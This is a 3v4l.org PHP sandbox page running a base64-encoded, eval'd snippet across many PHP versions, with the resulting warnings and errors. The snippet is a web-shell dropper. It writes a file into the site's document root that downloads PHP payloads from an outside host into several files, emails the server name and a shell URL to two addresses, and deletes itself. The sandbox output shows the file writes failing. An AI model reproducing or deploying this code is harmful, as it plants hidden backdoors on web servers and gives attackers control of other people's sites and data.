3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c=eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2xvbC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJ4cFluSmhjbWxsY3k5amMzTXVjR2h3SWlBN0RRb2tkR1Y0ZENBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dllYVnVZVzVrYnk1a1pTOTNjQzFwYm1Oc2RXUmxjeTlqWlhKMGFXWnBZMkYwWlhNdlkzTnpMblI0ZENjcE93MEtKRzl3Wlc0Z1BTQm1iM0JsYmlna1kyaGxZMnNzSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3Wlc0c0lDUjBaWGgwS1RzTkNtWmpiRzl6WlNna2IzQmxiaWs3RFFwcFppaG1hV3hsWDJWNGFYTjBjeWdrWTJobFkyc3BLWHNOQ2lBZ0lDQmxZMmh2SUNSamFHVmpheTRpUEM5aWNqNGlPdzBLZldWc2MyVWdEUW9nSUdWamFHOGdJbTV2ZENCbGVHbDBjeUk3RFFwbFkyaHZJQ0prYjI1bElDNWNiaUFpSURzTkNpUmphR1ZqYXpJZ1BTQWtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW0xaGFXd3VjR2h3SWlBN0RRb2tkR1Y0ZERJZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0RvdkwyRjFibUZ1Wkc4dVpHVXZkM0F0YVc1amJIVmtaWE12WTJWeWRHbG1hV05oZEdWekwyMHVkSGgwSnlrN0RRb2tiM0JsYmpJZ1BTQm1iM0JsYmlna1kyaGxZMnN5TENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0dWdU1pd2dKSFJsZUhReUtUc05DbVpqYkc5elpTZ2tiM0JsYmpJcE93MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHTm9aV05yTWlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOck1pNGlQQzlpY2o0aU93MEtmV1ZzYzJVZ0RRb2dJR1ZqYUc4Z0ltNXZkQ0JsZUdsMGN6SWlPdzBLWldOb2J5QWlaRzl1WlRJZ0xseHVJQ0lnT3cwS0RRb2tZMmhsWTJzelBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMM2N1YUhSdElpQTdEUW9rZEdWNGRETWdQU0JvZEhSd1gyZGxkQ2duYUhSMGNEb3ZMMkYxYm1GdVpHOHVaR1V2ZDNBdGFXNWpiSFZrWlhNdlkyVnlkR2xtYVdOaGRHVnpMM2N1ZEhoMEp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyeHBZbkpoY21sbGN5OWphR1ZqYXk1d2FIQWlJRHNOQ2lSMFpYaDBOQ0E5SUdoMGRIQmZaMlYwS0Nkb2RIUndPaTh2WVhWdVlXNWtieTVrWlM5M2NDMXBibU5zZFdSbGN5OWpaWEowYVdacFkyRjBaWE12WXk1MGVIUW5LVHNOQ2lSdmNEUTlabTl3Wlc0b0pHTm9aV05yTkN3Z0ozY25LVHNOQ21aM2NtbDBaU2drYjNBMExDUjBaWGgwTkNrN0RRcG1ZMnh2YzJVb0pHOXdOQ2s3RFFvTkNpUmphR1ZqYXpVOUpGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZiR2xpY21GeWFXVnpMMnB0WVdsc2N5NXdhSEFpSURzTkNpUjBaWGgwTlNBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dllYVnVZVzVrYnk1a1pTOTNjQzFwYm1Oc2RXUmxjeTlqWlhKMGFXWnBZMkYwWlhNdmJXMHVkSGgwSnlrN0RRb2tiM0ExUFdadmNHVnVLQ1JqYUdWamF6VXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOU3drZEdWNGREVXBPdzBLWm1Oc2IzTmxLQ1J2Y0RVcE93MEtEUW9rWTJobFkyczJQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJ4cFluSmhjbWxsY3k5cWRYTmxjaTV3YUhBaUlEc05DaVIwWlhoME5pQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZZWFZ1WVc1a2J5NWtaUzkzY0MxcGJtTnNkV1JsY3k5alpYSjBhV1pwWTJGMFpYTXZkWE5sY2k1MGVIUW5LVHNOQ2lSdmNEWTlabTl3Wlc0b0pHTm9aV05yTml3Z0ozY25LVHNOQ21aM2NtbDBaU2drYjNBMkxDUjBaWGgwTmlrN0RRcG1ZMnh2YzJVb0pHOXdOaWs3RFFvTkNpUjBiM29nUFNBaVptVnZabVZ2ZWpRME0wQm5iV0ZwYkM1amIyMHNJR1JsYm01cGMyTnZkMlZzYkc1QWFHOTBiV0ZwYkM1amIyMGlPdzBLSkhOMVltcGxZM1FnUFNBblNtOXRJSHA2ZWlBbklDNGdKRjlUUlZKV1JWSmJKMU5GVWxaRlVsOU9RVTFGSjEwN0RRb2thR1ZoWkdWeUlEMGdKMlp5YjIwNklFdGxhMnRoYVNCVFpXNXpaVzRnUEhadmJsSmxhVzVvWlhKNlMyeGhkWE5BVTJGcGEyOTFibUZJYVdKcExtTnZiVDRuSUM0Z0lseHlYRzRpT3cwS0pHMWxjM05oWjJVZ1BTQWlVMmhsYkd4NklEb2dhSFIwY0Rvdkx5SWdMaUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTQXVJQ0l2YkdsaWNtRnlhV1Z6TDJwdFlXbHNMbkJvY0Q5MUlpQXVJQ0pjY2x4dUlpQXVJSEJvY0Y5MWJtRnRaU2dwSUM0Z0lseHlYRzRpT3cwS0pITmxiblJ0WVdsc0lEMGdRRzFoYVd3b0pIUnZlaXdnSkhOMVltcGxZM1FzSUNSdFpYTnpZV2RsTENBa2FHVmhaR1Z5S1RzTkNnMEtRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdEUW9OQ2cwS1B6ND0nKSk7DQpmY2xvc2UoJGZwKTs=')); ?>
Output for 8.3.0 - 8.3.4
Warning: fopen(): open_basedir restriction in effect. File(/libraries/lol.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fopen(/libraries/lol.php): Failed to open stream: Operation not permitted in /in/rFX8Z(1) : eval()'d code on line 2 Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, false given in /in/rFX8Z(1) : eval()'d code:3 Stack trace: #0 /in/rFX8Z(1) : eval()'d code(3): fwrite(false, '<?php\r\nfunction...') #1 /in/rFX8Z(1): eval() #2 {main} thrown in /in/rFX8Z(1) : eval()'d code on line 3
Process exited with code 255.
Output for 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17
Warning: fopen(): open_basedir restriction in effect. File(/libraries/lol.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fopen(/libraries/lol.php): Failed to open stream: Operation not permitted in /in/rFX8Z(1) : eval()'d code on line 2 Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /in/rFX8Z(1) : eval()'d code:3 Stack trace: #0 /in/rFX8Z(1) : eval()'d code(3): fwrite(false, '<?php\r\nfunction...') #1 /in/rFX8Z(1): eval() #2 {main} thrown in /in/rFX8Z(1) : eval()'d code on line 3
Process exited with code 255.
Output for 8.0.13
Warning: fopen(/libraries/lol.php): Failed to open stream: No such file or directory in /in/rFX8Z(1) : eval()'d code on line 2 Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /in/rFX8Z(1) : eval()'d code:3 Stack trace: #0 /in/rFX8Z(1) : eval()'d code(3): fwrite(false, '<?php\r\nfunction...') #1 /in/rFX8Z(1): eval() #2 {main} thrown in /in/rFX8Z(1) : eval()'d code on line 3
Process exited with code 255.
Output for 7.3.32 - 7.3.33, 7.4.33
Warning: fopen(/libraries/lol.php): failed to open stream: No such file or directory in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fwrite() expects parameter 1 to be resource, bool given in /in/rFX8Z(1) : eval()'d code on line 3 Warning: fclose() expects parameter 1 to be resource, bool given in /in/rFX8Z(1) : eval()'d code on line 4
Output for 7.3.0 - 7.3.31, 7.4.0 - 7.4.32
Warning: fopen(): open_basedir restriction in effect. File(/libraries/lol.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fopen(/libraries/lol.php): failed to open stream: Operation not permitted in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fwrite() expects parameter 1 to be resource, bool given in /in/rFX8Z(1) : eval()'d code on line 3 Warning: fclose() expects parameter 1 to be resource, bool given in /in/rFX8Z(1) : eval()'d code on line 4
Output for 7.1.25 - 7.1.33, 7.2.0 - 7.2.33
Warning: fopen(): open_basedir restriction in effect. File(/libraries/lol.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fopen(/libraries/lol.php): failed to open stream: Operation not permitted in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/rFX8Z(1) : eval()'d code on line 3 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/rFX8Z(1) : eval()'d code on line 4
Output for 7.1.20
Warning: fopen(): open_basedir restriction in effect. File(/libraries/lol.php) is not within the allowed path(s): (/tmp:/in) in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fopen(/libraries/lol.php): failed to open stream: Operation not permitted in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/rFX8Z(1) : eval()'d code on line 3 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/rFX8Z(1) : eval()'d code on line 4
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10
Warning: fopen(/libraries/lol.php): failed to open stream: No such file or directory in /in/rFX8Z(1) : eval()'d code on line 2 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/rFX8Z(1) : eval()'d code on line 3 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/rFX8Z(1) : eval()'d code on line 4

preferences:
158.8 ms | 402 KiB | 265 Q